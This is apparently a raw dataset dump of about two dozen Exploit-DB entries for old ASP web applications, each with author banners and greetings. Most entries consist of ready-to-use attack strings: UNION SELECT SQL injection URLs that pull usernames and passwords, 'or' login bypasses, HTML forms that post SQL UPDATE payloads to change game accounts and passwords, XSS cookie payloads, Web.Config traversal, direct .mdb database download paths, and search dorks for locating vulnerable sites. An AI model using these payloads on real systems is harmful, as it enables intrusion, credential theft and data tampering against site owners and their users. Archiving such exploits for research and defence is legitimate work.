deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6725
Description: MunzurSoft Wep Portal W3 - 'kat' SQL Injection
Type: webapps
Platform: asp
Date: 2008-10-10
Author: LUPUS

Exploit:
Author : LUPUS
Home  : www.megaturks.net / www.biyosecurity.com
E-Mail : By[nokta]lupus @gmail.com

----------------------------------------------------------------
Down : http://www.aspindir.com/indir.asp?ID=5636
----------------------------------

Dork : "MunzurSoft Wep Portal W3"
------------------------------------

Demo  : http://www.munzursoft.somee.com/www/kategori.asp?kat=2%20union+select+all+0,U_ADI,2,U_SIFRE,4,5,6,7,8,9,10,11,12,13+from+uyeler
--------------------------------------
Exploit
union+select+all+0,U_ADI,2,U_SIFRE,4,5,6,7,8,9,10,11,12,13+from+uyeler
---------------------------------------------

Greetz : ENO7 - Liz0zim - Kerem125 - Prens - SaO - The_BekiR - h4ckinger - ZeberuS
---------------------------------------
Note: Ã–nemli Olan Ä°nsan OlmaktÄ±r.

# milw0rm.com [2008-10-10]
Exploit-DB #1252
Description: MuOnline Loopholes Web Server - 'pkok.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-10-15
Author: nukedx

Exploit:
<!--
Save this code as .htm and replace [SITE]/[SQLCODE] to your server address

Some SQL Examples:

-Changing character data-
update character set clevel=Level,LevelUpPoint=0,Class=ClassCode,Strength=229,Dexterity=9566,Vitality=25,Energy=25,Money=52369819,Ctlcode=0,Resets=29,PkLevel=0,PkTime=0,Experience=208790999 where name='CharName';--

Classcodes arE:
0: Dark Wizard
1: Soul Master
16: Dark knight
17: Blade knight
32: Elf
33: Muse Elf
48: Magic Gladiator
64: Dark Lord

Ctlcode is admin level code:
0:Normal
1: Blocked
8: GM
16: GM LVL2

-Blasting Vault-
update warehouse set items=0xITEMCODE,money=Money where accountid='Accoutname';--

ITEMCODE is which u can get from itemproject.exe u can find it on google ;)

-Changing Account Password-
update MEMB_INFO set memb__[CREDENTIAL_REDACTED]' where memb___id='ACCOUNT';--
Enjoy
-->

<html>
<form action="http://[SITE]/pkok.asp" method="post">
<input type="hidden" name="username" value="notimportant">
<input type="hidden" name="userchr" value="letzinject">
<input name="pass" type="text" value="notimportant';[SQLCODE]">
<input type="submit" name="submit" value="Do IT!">
</form>
</html>

# milw0rm.com [2005-10-15]
Exploit-DB #2294
Description: Muratsoft Haber Portal 3.6 - 'tr' SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-03
Author: ASIANEAGLE

Exploit:
#Muratsoft Haber Portal v3.6 (tr) SQL Injection Vulnerability
#Author : ASIANEAGLE
#Site   : www.asianeagle.org
#Contact: admin@asianeagle.org


#Link           : http://www.aspindir.com/Goster/4350
#Demo Portal    : http://www.muratsoft.com/haber/www/
#Price of Portal: 300YTL // Good money for Bad Script

#Exploit : 
 www.site.com /[portal path]/kategori.asp?kat=-1%20union%20select%200,U_ADI,2,U_SIFRE,4,5,6,7,8,9,10,11,12,13,14%20from%20uyeler%20where%20U_ID%20like%201

#BURCU Seni hep sevdim hep sevicem.

# milw0rm.com [2006-09-03]
Exploit-DB #5912
Description: MVC-Web CMS 1.0/1.2 - 'newsid' SQL Injection
Type: webapps
Platform: asp
Date: 2008-06-23
Author: Bl@ckbe@rD

Exploit:
                                  #                                                      #
                                    #Bl@ckbe@rD ('Tunisian TerrorisT') #
                                     #                                                 #
------------------------- #$$$$$$$$$$$$$$$$$$$$$$$#----------------------------------------

[+] Script Name  : MVC-Web CMS 1.0 and 1.2 Remote SQL Injection Exploit

|+| Team           : InjEct0r5

[+] Author         : Bl@ckbe@rD ('Tunisian TerrorisT')

[+] Contact        : blackbeard-sql[A.T]hotmail{.}fr

[+] Dork           : Powered by MVC-Web CMS      inurl:/index.asp?newsid=

--//-->

[+] Expl0iT :

http://www.site.xx/index.asp?newsid={sql}

http://www.site.xx/index.asp?newsid=927+union+select+1,password,3,4,userid,6,7+from+users
--//-->

[+] GrEEtZ : allah , Xerror , hak3r-b0y ,King Of Hacker , UnderZ0ne Crew...

# milw0rm.com [2008-06-23]
Exploit-DB #4697
Description: MWOpen E-Commerce - 'leggi_commenti.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-12-06
Author: KiNgOfThEwOrLd

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

MWOpen E-Commerce All Versions "leggi_commenti.asp" SQL Injection

---------------------------------------------------------------

#By KiNgOfThEwOrLd				

---------------------------------------------------------------

PoC:

Nothing to say..

Corrupted Page: 

leggi_commenti.asp

Corrupted Variabile: 

?id=

Exploit:

http://[target]/[mwopen_path]/leggi_commenti.asp?id=9999+union+select+null,
null,password,nome,null,data,null+from+utenti+where+Admin=true

---------------------------------------------------------------

# milw0rm.com [2007-12-06]
Exploit-DB #12199
Description: My School Script - Database Disclosure
Type: webapps
Platform: asp
Date: 2010-04-13
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : My School Script Data Base Download Vulnerability           
| # Author   : indoushka                                                                                                              
| # Home     : www.iqs3cur1ty.com 

| # Bug      : DB                                                           
======================      Exploit By indoushka       =================================
 # Exploit  : 
 

     1 - http://127.0.0.1/My.School/odevsitesi.mdb
     
     2 - http://127.0.0.1/My.School/sayac.mdb
     
     3 - http://127.0.0.1/My.School/admin.asp 
                    
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
--------------------------------------------------------------------------------------------------------------
Exploit-DB #7420
Description: MyCal Personal Events Calendar - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-11
Author: CoBRa_21

Exploit:
****************************************************************************************
MyCal Personal Events Calendar (mycal.mdb) Database Disclosure Vulnerability
****************************************************************************************
 
Script Name : MyCal Personal Events Calendar
 
Author : CoBRa_21
 
My Site : www.ipbul.org
 
Download : http://www.funscripts.net/old_coldfusion/download.php?fname=mycal
 
****************************************************************************************
 
Exploit:
 
http://localhost/[PATH]/database/mycal.mdb
 
****************************************************************************************
 
Thanks: Cyber-Warrior.Org
 
****************************************************************************************

# milw0rm.com [2008-12-11]
Exploit-DB #7963
Description: MyDesing Sayac 2.0 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-02-03
Author: Kacak

Exploit:
#############################################
#---- BY KACAK FROM TERRORÄ°ST CREW        ----#
#############################################

[~]Author : Kacak

[~]Team : Terrorist Crew / Peace Crew

[~]Contact : BuqX@hotmail.Com

[~] Hava Serin Mevzu Derin :D

#############################################

[~]Script :MyDesing Sayac v2.0

[~]Site :http://www.mydesign.gen.tr/myforum/forum_posts.asp?TID=90

[~]Download :http://www.aspindir.com/goster/2801

[~] Vulnerability : (Auth Bypass) Sql Ä°njection

#############################################

  ~ Exploit ~

www.site.com/admin/admin.asp

www.site.com/PATH/admin

UserName : 'or'

Pass : 'or'


#############################################

# milw0rm.com [2009-02-03]
Exploit-DB #22436
Description: MyGuestBK - 'Add.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2002-03-27
Author: Over_G

Exploit:
source: https://www.securityfocus.com/bid/7211/info

It has been reported that MyGuestBK does not sufficiently filter user-supplied URI parameters on the MyGuestBK Information Server 'Add Entry' page.

It may be possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user.

This may allow for theft of cookie-based authentication credentials and other attacks. 

http://www.example.com/myguestBk/add1.asp?name=Name&subject=Subj&email=M@IL&message=<script>alert ("Test!")</script>
Exploit-DB #22437
Description: MyGuestBK - Unauthorized Admin Panel Access
Type: webapps
Platform: asp
Date: 2002-03-27
Author: Over_G

Exploit:
source: https://www.securityfocus.com/bid/7213/info

MyGuestBk has been reported vulnerable to unauthorized Admin Panel Access.

It has been reported that an attacker may access arbitrary MyGuestBK administrative functions through the MyGuestBK administration panel without prior authorization.

http://www.example.com/myguestBk/admin/index.asp
http://www.example.com/myguestBk/admin/delEnt.asp?id=NEWSNUMBER
Exploit-DB #1884
Description: myNewsletter 1.1.2 - 'adminLogin.asp' Authentication Bypass
Type: webapps
Platform: asp
Date: 2006-06-06
Author: FarhadKey

Exploit:
<!-- orginal advisory : http://www.kapda.ir/advisory-340.html -->
<html><center><h4>KAPDA.ir --- myNewsletter <= 1.1.2 Login bypass exploit</h4><br>change action in source and then submit
</center><form name="adminLogin" method="post" action="http://site/newsletter/adminLogin.asp">
<input type="hidden" name="UserName" value="<!--'union select 1 from Newsletter_Admin where ''='">
<input type="hidden" name="Password" value="1">
<center><br><input type="submit" name="Submit" value="Login"></center><br><br>
<!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net -->
<center><a href="http://www.kapda.ir">www.kapda.ir</a></center>
</form>
</html>

# milw0rm.com [2006-06-06]
Exploit-DB #30300
Description: MzK Blog - 'Katgoster.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-23
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/24909/info

MzK Blog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/script_path/katgoster.asp?katID=-1+union+select+0,kullaniciadi,2,3,4,5,6,7+from+admin

http://www.example.com/script_path/katgoster.asp?katID=-1+union+select+0,sifre,2,3,4,5,6,7+from+admin
Exploit-DB #8734
Description: Namad (IMenAfzar) 2.0.0.0 - Remote File Disclosure
Type: webapps
Platform: asp
Date: 2009-05-19
Author: Securitylab.ir

Exploit:
######################### Securitylab.ir ########################
# Application Info:
# Name: Namad
# Version: 2.0.0.0
# Website: http://imenafzar.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Download Vulnerability
# Risk: Medium
# Dork: "Copyright 2008 ImenAfzar ver :2.0.0.0"
#===========================================================
# http://site.ir/SecureDownloads.aspx?Mode=Downloads&Type=Files&FileName=../../Web.Config
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-05-19]
Exploit-DB #7370
Description: Natterchat 1.12 - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-07
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################

---------------------------- Tunisian Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Natterchat
#Version  : v1.12
#download : http://www.natterchat.co.uk/donate.asp?Download=file&fl=natterchat_version1.12
#Demo     : http://www.natterchat.co.uk/versionpagerefresh/


###########################################################################

#Exploits :

--=[DATABASE DISCLOSURE]=--
http://www.target.com/natterchat112.mdb


#live demo
http://www.natterchat.co.uk/versionpagerefresh/natterchat112.mdb


#Greetz For DragoBlati`

###########################################################################

# milw0rm.com [2008-12-07]
Exploit-DB #26070
Description: Naxtor E-directory 1.0 - 'default.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-08-03
Author: basher13

Exploit:
source: https://www.securityfocus.com/bid/14469/info

Naxtor E-directory is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation results in gaining full administrative access within the context of the affected application. 

A proof of concept is available:

User ID : admin
Password : 'or '='
Exploit-DB #26069
Description: Naxtor E-directory 1.0 - 'Message.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-08-03
Author: basher13

Exploit:
source: https://www.securityfocus.com/bid/14468/info

Naxtor E-directory is prone to a cross-site scripting vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/site/message.asp?message=[script]alert(document.cookie);[/script]
Exploit-DB #15124
Description: ndCMS - SQL Injection
Type: webapps
Platform: asp
Date: 2010-09-27
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-27-ndcms-sql-injection-vulnerability/

'''



Abysssec Inc Public Advisory
 
 
  Title            :  ndCMS Sql Injection Vulnerability
  Affected Version :  ndCMS(Nickel and Dime CMS) v0.4rc1
  Discovery        :  www.abysssec.com
  Download Links   :  http://souurceforge.net/projects/ndcms-net
  Login Page       :  http://localhost/ndcms/admin/?Mode=Express&indx=
 
Description :
===========================================================================================      
  This version of ndCMS has Sql Injection Vulnerability that its DataBase is Access
  with  Table of Users   : tblUSERS 
                 Columns : userid , passwd.


  Vulnerable Code:
         .../express_edit/editor.aspx
  Ln 65:
         dbr = db.ExecuteReader("Select * from tblPAGES WHERE indx=" + Request.Params["indx"]);
    
   
   Considering to the code, for example you can browse this URL:
   
         http://Example.com/express_edit/editor.aspx?index=1+AND+1=IIF((select mid(last(userid),1,1) from (select top 1 userid from tblUSERS))='a',1,2)

   and so on.
   

===========================================================================================
Exploit-DB #11016
Description: Net Gitar Shop 1.0 - Database Disclosure
Type: webapps
Platform: asp
Date: 2010-01-06
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Net Gitar Shopv1.0 DB Download Vulnerability 
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                                
| # Web Site : www.iq-ty.com 
| # Dork     : netGitar.com - Shop v1.0                                                                                                                               
| # Script   : (VP-ASP Shopping Cart 7.0) Copyright (c) 1999-2010 Rocksalt International.                         
| # Tested on: windows SP2 Français V.(Pnx2 2.0) IIS 5.0                              
| # Bug      : DB                                                                    
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/netgitarshopv1.0/db.mdb
|
================================   Dz-Ghost Team   ===================================================
Greetz : Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
--------------------------------------------------------------------------------------------------------
Exploit-DB #26744
Description: NetAuctionHelp 3.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-12-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15737/info

NetAuctionHelp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 3.x and prior are vulnerable; other versions may also be affected.

http://www.example.com/search.asp?sort=ed&L=[XSS]
http://www.example.com/search.asp?sort=[XSS]
http://www.example.com/search.asp?sort=ed&L=1&category=[XSS]
http://www.example.com/search.asp?sort=ed&L=1&category=65&categoryname=[XSS]
Exploit-DB #4644
Description: NetAuctionHelp 4.1 - 'nsearch' SQL Injection
Type: webapps
Platform: asp
Date: 2007-11-22
Author: Aria-Security Team

Exploit:
Aria-Security Net
http://Aria-Security.Net
------------------------
Vendor: http://www.netauctionhelp.com

PoC:
search.asp ?sort=ni&category=&categoryname=&kwsearch=&nsearch=[SQL INJECTION]
search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch='having 1=1--

search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@servername)--
search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@version)--



tblAd.id
tblAd.aspectratio
tblAd.title
tblAd.imagepath
tblAd.startdate
tblAd.enddate
tblAd.id_seller
tblAd.descr

-1' UPDATE tblAd set descr= 'HACKED' Where(ID= '1');--

this code with update itemdetl.asp?id=1


Credit goes to Aria-Security.Net
Greetz: AurA

# milw0rm.com [2007-11-22]
Exploit-DB #30624
Description: Netkamp Emlak Scripti - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: asp
Date: 2007-10-01
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/25875/info

Netkamp Emlak Scripti is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues and an SQL-injection issue, because the application fails to sanitize user-supplied input.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, execute malicious script code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com.com/script_path/detay.asp?ilan_id=[SQL]
Exploit-DB #14709
Description: netStartEnterprise 4.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-08-22
Author: L1nK

Exploit:
 =======================================
    netStartEnterprise v4.0 SQL Injection Vulnerability
 =======================================


# Exploit Title: netStartEnterprise v4.0 SQL Injection Vulnerability

# Author: L1nK

# Mail: sniper101drawxer@gmail.com

# Date: 07/23/2010

# Tested on: Windows, Linux, Mac

# Version: netStartEnterprise v4.0

# Path: http://www.site.com/previeweventdetail.aspx?id=[SQL]

# Platform: ASP

# netStart Company:  http://www.netstartwebservices.com/

# gr33tz: Gr33tz to !P-k155 and k3rv3r0s

Thanks!

L1nK
Exploit-DB #2780
Description: NetVIOS 2.0 - 'page.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: ajann

Exploit:
*******************************************************************************
# Title  :  NetVios <= 2.0 [News Application] (page.asp) Remote SQL Injection Vulnerability
# Author :   ajann

*******************************************************************************

###http://[target]/[path]//page.asp?NewsID=[SQL]

Example:

//page.asp?NewsID=-1%20union%20select%200,0,0,logins,password,0,0,0%20from%20users%20where%20userid%20like%201


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-14]